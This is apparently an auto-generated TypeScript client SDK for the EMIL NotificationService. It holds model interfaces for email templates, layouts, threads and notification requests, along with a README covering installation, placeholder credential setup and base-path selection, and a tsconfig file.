* Do not edit the class manually.
*/
/**
*
* @export
* @interface HtmlTemplateClass
*/
export interface HtmlTemplateClass {
/**
* Html template id
* @type {number}
* @memberof HtmlTemplateClass
*/
'id': number;
/**
* Html template type
* @type {string}
* @memberof HtmlTemplateClass
*/
'type': string;
/**
* Html template content
* @type {string}
* @memberof HtmlTemplateClass
*/
'content': string;
/**
* Html template draft content
* @type {string}
* @memberof HtmlTemplateClass
*/
'draftContent': string;
/**
* Html template created at
* @type {string}
* @memberof HtmlTemplateClass
*/
'createdAt': string;
/**
* Html template updated at
* @type {string}
* @memberof HtmlTemplateClass
*/
'updatedAt': string;
}
export * from './complete-email-verification-dto';
export * from './complete-email-verification-response-class';
export * from './create-layout-request-dto';
export * from './create-layout-response-class';
export * from './create-notification-template-request-dto';
export * from './create-notification-template-response-class';
export * from './delete-layout-request-dto';
export * from './delete-notification-template-request-dto';
export * from './download-attachment-response-class';
export * from './email-attachment-class';
export * from './email-message-class';
export * from './email-thread-class';
export * from './get-email-message-response-class';
export * from './get-email-thread-response-class';
export * from './get-layout-request-dto';
export * from './get-layout-response-class';
export * from './get-notification-template-request-dto';
export * from './get-notification-template-response-class';
export * from './html-template-class';
export * from './initiate-email-verification-dto';
export * from './initiate-email-verification-response-class';
export * from './inline-response200';
export * from './inline-response503';
export * from './layout-class';
export * from './list-email-attachments-response-class';
export * from './list-email-messages-response-class';
export * from './list-email-threads-response-class';
export * from './list-layouts-response-class';
export * from './list-notification-templates-response-class';
export * from './notification-template-class';
export * from './s3-document-dto';
export * from './send-notification-request-dto';
export * from './send-notification-response-class';
export * from './update-html-template-request-dto';
export * from './update-layout-request-dto';
export * from './update-layout-response-class';
export * from './update-notification-template-request-dto';
export * from './update-notification-template-response-class';
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InitiateEmailVerificationDto
*/
export interface InitiateEmailVerificationDto {
/**
* User email
* @type {string}
* @memberof InitiateEmailVerificationDto
*/
'email': string;
/**
* A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
* @type {string}
* @memberof InitiateEmailVerificationDto
*/
'templateSlug'?: string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InitiateEmailVerificationResponseClass
*/
export interface InitiateEmailVerificationResponseClass {
/**
* Initiate verification result
* @type {boolean}
* @memberof InitiateEmailVerificationResponseClass
*/
'result': boolean;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse200
*/
export interface InlineResponse200 {
/**
*
* @type {string}
* @memberof InlineResponse200
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'info'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'error'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'details'?: { [key: string]: { [key: string]: object; }; };
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse503
*/
export interface InlineResponse503 {
/**
*
* @type {string}
* @memberof InlineResponse503
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'info'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'error'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'details'?: { [key: string]: { [key: string]: object; }; };
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { HtmlTemplateClass } from './html-template-class';
/**
*
* @export
* @interface LayoutClass
*/
export interface LayoutClass {
/**
* Layout id
* @type {number}
* @memberof LayoutClass
*/
'id': number;
/**
* Record owner
* @type {string}
* @memberof LayoutClass
*/
'owner': string;
/**
* Layout name
* @type {string}
* @memberof LayoutClass
*/
'name': string;
/**
* Layout slug
* @type {string}
* @memberof LayoutClass
*/
'slug': string;
/**
* Layout style
* @type {string}
* @memberof LayoutClass
*/
'style': string;
/**
* Header Template
* @type {HtmlTemplateClass}
* @memberof LayoutClass
*/
'headerTemplate': HtmlTemplateClass;
/**
* Footer Template
* @type {HtmlTemplateClass}
* @memberof LayoutClass
*/
'footerTemplate': HtmlTemplateClass;
/**
* Layout created at
* @type {string}
* @memberof LayoutClass
*/
'createdAt': string;
/**
* Layout updated at
* @type {string}
* @memberof LayoutClass
*/
'updatedAt': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailAttachmentClass } from './email-attachment-class';
/**
*
* @export
* @interface ListEmailAttachmentsResponseClass
*/
export interface ListEmailAttachmentsResponseClass {
/**
* List of email attachments
* @type {Array<EmailAttachmentClass>}
* @memberof ListEmailAttachmentsResponseClass
*/
'items': Array<EmailAttachmentClass>;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailMessageClass } from './email-message-class';
/**
*
* @export
* @interface ListEmailMessagesResponseClass
*/
export interface ListEmailMessagesResponseClass {
/**
* List of email messages
* @type {Array<EmailMessageClass>}
* @memberof ListEmailMessagesResponseClass
*/
'items': Array<EmailMessageClass>;
/**
* Token for next page of results
* @type {string}
* @memberof ListEmailMessagesResponseClass
*/
'nextPageToken': string;
/**
* Total number of items
* @type {number}
* @memberof ListEmailMessagesResponseClass
*/
'totalItems': number;
/**
* Number of items per page
* @type {number}
* @memberof ListEmailMessagesResponseClass
*/
'itemsPerPage': number;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { EmailThreadClass } from './email-thread-class';
/**
*
* @export
* @interface ListEmailThreadsResponseClass
*/
export interface ListEmailThreadsResponseClass {
/**
* List of email threads
* @type {Array<EmailThreadClass>}
* @memberof ListEmailThreadsResponseClass
*/
'items': Array<EmailThreadClass>;
/**
* Token for next page of results
* @type {string}
* @memberof ListEmailThreadsResponseClass
*/
'nextPageToken': string;
/**
* Total number of items
* @type {number}
* @memberof ListEmailThreadsResponseClass
*/
'totalItems': number;
/**
* Number of items per page
* @type {number}
* @memberof ListEmailThreadsResponseClass
*/
'itemsPerPage': number;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface ListLayoutsResponseClass
*/
export interface ListLayoutsResponseClass {
/**
* Layouts
* @type {Array<string>}
* @memberof ListLayoutsResponseClass
*/
'items': Array<string>;
/**
* Next page token
* @type {string}
* @memberof ListLayoutsResponseClass
*/
'nextPageToken': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface ListNotificationTemplatesResponseClass
*/
export interface ListNotificationTemplatesResponseClass {
/**
* Notification Templates
* @type {Array<string>}
* @memberof ListNotificationTemplatesResponseClass
*/
'items': Array<string>;
/**
* Next page token
* @type {string}
* @memberof ListNotificationTemplatesResponseClass
*/
'nextPageToken': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { HtmlTemplateClass } from './html-template-class';
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface NotificationTemplateClass
*/
export interface NotificationTemplateClass {
/**
* Template id
* @type {number}
* @memberof NotificationTemplateClass
*/
'id': number;
/**
* Record owner
* @type {string}
* @memberof NotificationTemplateClass
*/
'owner': string;
/**
* Template name
* @type {string}
* @memberof NotificationTemplateClass
*/
'name': string;
/**
* Template slug
* @type {string}
* @memberof NotificationTemplateClass
*/
'slug': string;
/**
* Layout id
* @type {number}
* @memberof NotificationTemplateClass
*/
'layoutId': number;
/**
* Body Template
* @type {HtmlTemplateClass}
* @memberof NotificationTemplateClass
*/
'bodyTemplate': HtmlTemplateClass;
/**
* Template Layout
* @type {LayoutClass}
* @memberof NotificationTemplateClass
*/
'layout': LayoutClass;
/**
* Template created at
* @type {string}
* @memberof NotificationTemplateClass
*/
'createdAt': string;
/**
* Template updated at
* @type {string}
* @memberof NotificationTemplateClass
*/
'updatedAt': string;
/**
* Email sent to
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailTo': string;
/**
* Email cc to
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailCc': string;
/**
* Email bcc to
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailBcc': string;
/**
* Email subject
* @type {string}
* @memberof NotificationTemplateClass
*/
'defaultEmailSubject': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface S3DocumentDto
*/
export interface S3DocumentDto {
/**
*
* @type {string}
* @memberof S3DocumentDto
*/
'bucket'?: string;
/**
*
* @type {string}
* @memberof S3DocumentDto
*/
'key': string;
/**
*
* @type {string}
* @memberof S3DocumentDto
*/
'filename'?: string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { S3DocumentDto } from './s3-document-dto';
/**
*
* @export
* @interface SendNotificationRequestDto
*/
export interface SendNotificationRequestDto {
/**
* Unique identifying slug from template to be used for the email
* @type {string}
* @memberof SendNotificationRequestDto
*/
'templateSlug': string;
/**
* Subject of the email
* @type {string}
* @memberof SendNotificationRequestDto
*/
'emailSubject'?: string;
/**
* Email address of the sender
* @type {string}
* @memberof SendNotificationRequestDto
*/
'emailSender'?: string;
/**
* Email address of the reciever
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'emailTo': Array<string>;
/**
* Email addresses of the reciepents who will be recieving copy of the email
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'emailCc': Array<string>;
/**
* Email addresses of the reciepents who will be recieving copy of the email without of them knowing who else recieved the copy
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'emailBcc': Array<string>;
/**
* Attachments for the email. Any attachement has to be uploaded to S3 first before being sent.
* @type {Array<S3DocumentDto>}
* @memberof SendNotificationRequestDto
*/
'attachments': Array<S3DocumentDto>;
/**
* It is possible to use the product slug to fetch a different senderEmail from the tenant settings. It should be in the form of productSlug_sender-email
* @type {string}
* @memberof SendNotificationRequestDto
*/
'productSlug'?: string;
/**
* Payload is used by the template engine to replace all template variables with proper data. For more information, please go to https://github.com/flosch/pongo2.
* @type {object}
* @memberof SendNotificationRequestDto
*/
'payload': object;
/**
* Entity type for email reply tracking.
* @type {string}
* @memberof SendNotificationRequestDto
*/
'entityType'?: SendNotificationRequestDtoEntityTypeEnum;
/**
* Entity code for email reply tracking
* @type {string}
* @memberof SendNotificationRequestDto
*/
'entityCode'?: string;
/**
* Reply-To address for email reply tracking. Auto-generated when entityType and entityCode are provided.
* @type {string}
* @memberof SendNotificationRequestDto
*/
'replyTo'?: string;
/**
* Custom Message-ID header. Auto-generated if not provided.
* @type {string}
* @memberof SendNotificationRequestDto
*/
'customMessageId'?: string;
/**
* Message-ID of the email this is replying to (for threading)
* @type {string}
* @memberof SendNotificationRequestDto
*/
'inReplyTo'?: string;
/**
* Message-IDs for email thread chain
* @type {Array<string>}
* @memberof SendNotificationRequestDto
*/
'references': Array<string>;
}
export const SendNotificationRequestDtoEntityTypeEnum = {
Claim: 'Claim',
Policy: 'Policy',
Lead: 'Lead'
} as const;
export type SendNotificationRequestDtoEntityTypeEnum = typeof SendNotificationRequestDtoEntityTypeEnum[keyof typeof SendNotificationRequestDtoEntityTypeEnum];
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface SendNotificationResponseClass
*/
export interface SendNotificationResponseClass {
/**
* Notification request code
* @type {string}
* @memberof SendNotificationResponseClass
*/
'code': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface UpdateHtmlTemplateRequestDto
*/
export interface UpdateHtmlTemplateRequestDto {
/**
*
* @type {number}
* @memberof UpdateHtmlTemplateRequestDto
*/
'id': number;
/**
*
* @type {string}
* @memberof UpdateHtmlTemplateRequestDto
*/
'type': UpdateHtmlTemplateRequestDtoTypeEnum;
/**
*
* @type {string}
* @memberof UpdateHtmlTemplateRequestDto
*/
'draftContent': string;
}
export const UpdateHtmlTemplateRequestDtoTypeEnum = {
Header: 'header',
Footer: 'footer',
Body: 'body'
} as const;
export type UpdateHtmlTemplateRequestDtoTypeEnum = typeof UpdateHtmlTemplateRequestDtoTypeEnum[keyof typeof UpdateHtmlTemplateRequestDtoTypeEnum];
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { UpdateHtmlTemplateRequestDto } from './update-html-template-request-dto';
/**
*
* @export
* @interface UpdateLayoutRequestDto
*/
export interface UpdateLayoutRequestDto {
/**
* Layout id
* @type {number}
* @memberof UpdateLayoutRequestDto
*/
'id': number;
/**
* Layout name
* @type {string}
* @memberof UpdateLayoutRequestDto
*/
'name': string;
/**
* Layout slug
* @type {string}
* @memberof UpdateLayoutRequestDto
*/
'slug': string;
/**
* Layout style
* @type {string}
* @memberof UpdateLayoutRequestDto
*/
'style': string;
/**
*
* @type {UpdateHtmlTemplateRequestDto}
* @memberof UpdateLayoutRequestDto
*/
'headerTemplate': UpdateHtmlTemplateRequestDto;
/**
*
* @type {UpdateHtmlTemplateRequestDto}
* @memberof UpdateLayoutRequestDto
*/
'footerTemplate': UpdateHtmlTemplateRequestDto;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface UpdateLayoutResponseClass
*/
export interface UpdateLayoutResponseClass {
/**
* Layout
* @type {LayoutClass}
* @memberof UpdateLayoutResponseClass
*/
'layout': LayoutClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { UpdateHtmlTemplateRequestDto } from './update-html-template-request-dto';
/**
*
* @export
* @interface UpdateNotificationTemplateRequestDto
*/
export interface UpdateNotificationTemplateRequestDto {
/**
*
* @type {number}
* @memberof UpdateNotificationTemplateRequestDto
*/
'id': number;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'name': string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'slug': string;
/**
*
* @type {number}
* @memberof UpdateNotificationTemplateRequestDto
*/
'layoutId': number;
/**
*
* @type {UpdateHtmlTemplateRequestDto}
* @memberof UpdateNotificationTemplateRequestDto
*/
'bodyTemplate': UpdateHtmlTemplateRequestDto;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailTo'?: string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailCc'?: string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailBcc'?: string;
/**
*
* @type {string}
* @memberof UpdateNotificationTemplateRequestDto
*/
'defaultEmailSubject'?: string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { NotificationTemplateClass } from './notification-template-class';
/**
*
* @export
* @interface UpdateNotificationTemplateResponseClass
*/
export interface UpdateNotificationTemplateResponseClass {
/**
* Notification template
* @type {NotificationTemplateClass}
* @memberof UpdateNotificationTemplateResponseClass
*/
'template': NotificationTemplateClass;
}
# Emil Notification SDK for Nodejs
This TypeScript/JavaScript client utilizes [axios](https://github.com/axios/axios). The generated Node module can be used with Nodejs based applications.
Language level
* ES5 - you must have a Promises/A+ library installed
* ES6
Module system
* CommonJS
* ES6 module system
Although this package can be used in both TypeScript and JavaScript, it is intended to be used with TypeScript. The definition should be automatically resolved via `package.json`. ([Reference](http://www.typescriptlang.org/docs/handbook/typings-for-npm-packages.html)). For more information, you can go to [Emil Api documentation](https://emil.stoplight.io/docs/emil-api/).
## Consuming
Navigate to the folder of your consuming project and run one of the following commands:
```
npm install @emilgroup/notification-sdk-node@1.4.1-beta.30 --save
```
or
```
yarn add @emilgroup/notification-sdk-node@1.4.1-beta.30
```
And then you can import `LayoutApi`.
```ts
import { LayoutApi } from '@emilgroup/notification-sdk-node'
const LayoutsApi = new LayoutApi();
```
## Credentials
To use authentication protected endpoints, you have to first authorize. To do so, the easiest way is to provide a configuration file under `~/.emil/credentials` with the following content:
```shell
emil_username=XXXXX@XXXX.XXX
emil_password=XXXXXXXXXXXXXX
```
It is also possible to provide environment variables instead:
```shell
export EMIL_USERNAME=XXXXX@XXXX.XXX
export EMIL_PASSWORD=XXXXXXXXXXXXXX
```
## Base path
To select the basic path for using the API, we can use two approaches. The first is to use one of the predefined environments, and the second is to specify the domain as a string.
```ts
import { LayoutApi, Environment } from '@emilgroup/notification-sdk-node'
const LayoutsApi = new LayoutApi();
// Allows you to simply choose environment. It will usually be Environment.Production.
LayoutsApi.selectEnvironment(Environment.Production);
// For advanced users, use the custom baseUrl of the website you need to connect to.
LayoutsApi.selectBasePath('https://my-custom-domain.com');
```
## Example
Here is a basic functionning example:
```ts
async function listLayouts(): Promise<Void> {
try {
const LayoutsApi = new LayoutApi();
await LayoutsApi.initialize(); // should be called only once per Api.
const { data: { items } } = await LayoutsApi.listLayouts();
console.log(items);
} catch(error) {
// process error
}
}
```
{
"compilerOptions": {
"declaration": true,
"target": "ES5",
"module": "CommonJS",
"noImplicitAny": true,
"esModuleInterop": true,
"noImplicitOverride": true,
"outDir": "dist",
"rootDir": ".",
"lib": [
"es6",
"dom"
],
"typeRoots": [
"node_modules/@types"
]
},
"exclude": [
"dist",
"node_modules"
]
}